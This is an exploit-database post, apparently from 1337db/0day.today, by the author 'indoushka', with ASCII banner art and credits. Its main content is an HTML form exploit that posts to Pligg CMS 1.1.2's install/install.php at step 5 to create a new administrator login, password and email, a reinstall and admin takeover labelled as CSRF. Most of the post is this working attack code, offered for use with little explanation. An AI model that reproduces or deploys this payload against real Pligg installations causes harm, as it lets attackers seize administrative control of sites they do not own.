Pligg CMS 1.1.2 CSRF Reinstall admin login Vulnerability

========================================================
Pligg CMS 1.1.2 CSRF Reinstall admin login Vulnerability
========================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
3                                                                      3
3             _     __       __    ________     __  __                 3
7           /' \  /'__`\   /'__`\ /\_____  \   /\ \/\ \                7
1          /\_, \/\_\L\ \ /\_\L\ \\/___//'/'   \_\ \ \ \____           1
3          \/_/\ \/_/_\_<_\/_/_\_<_   /' /'    /'_` \ \ '__`\          3
3             \ \ \/\ \L\ \ /\ \L\ \ /' /'    /\ \L\ \ \ \L\ \         3
7              \ \_\ \____/ \ \____//\_/      \ \___,_\ \_,__/         7
1               \/_/\/___/   \/___/ \//        \/__,_ /\/___/          1
3              >> Exploit database separated by exploit                3
3                     type (local, remote, DoS, etc.)                  3
7                                                                      7
1          [+] Site            : 1337db.com                            1
3          [+] Support e-mail  : submit[at]1337db.com                  3
3                                                                      3
7               ############################################           7
1               I'm indoushka 1337 Member from 1337 DataBase           1
3               ############################################           3
3                                                                      3                                            
7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7

# Vendor: http://www.pligg.com/

# Author : indoushka 

# Thanks to : Dz-Ghost Team

# Contact : http://www.appinsecurity.com

# Tested on : windows SP2 Francais V.(Pnx2 2.0) 
######################################################################## 
                                                                                                                                                                                                
# Exploit By indoushka 
-------------

</script>
<div class="steps"><h2>Step 4: </h2></div><div class="installercontent">

	<table>
	<form id="form1" name="form1" action="http://127.0.0.1/pligg/install/install.php" method="post">
	<tr>
	<td><label>Admin Login</label></td>
	<td><input name="godlogin" type="text" value="" /></td>
	</tr>
	
        <tr>
	<td><label>Admin Password</label></td>

	<td><input name="godpassword" type="password" value="" /></td>
        </tr>
	
	<tr>
        <td><label>Confirm Password</label></td>
	<td><input name="godpassword2" type="password" value="" /></td>
	</tr>
          
	<tr>
	<td><label>Admin E-mail</label></td>

        <td><input name="godemail" type="text" value="" /></td>
	</tr>

	<tr>
        <td><label></label></td>
	<td><input type="submit" class="submitbutton" name="Submit" value="Create Admin Account" /></td>
	</tr>
        <input type="hidden" name="language" value="">
	<input type="hidden" name="step" value="5">

	</form>
        </table>
	</div>
	</div></div> <br />
		</div>
	</div>
</div>


<div id="footer-wrap">

	<div class="footer">
		<div class="rss-feeds">
			<h1>Pligg CMS Exploit</h1>
			<ul>



#  0day.today [2018-02-05]  #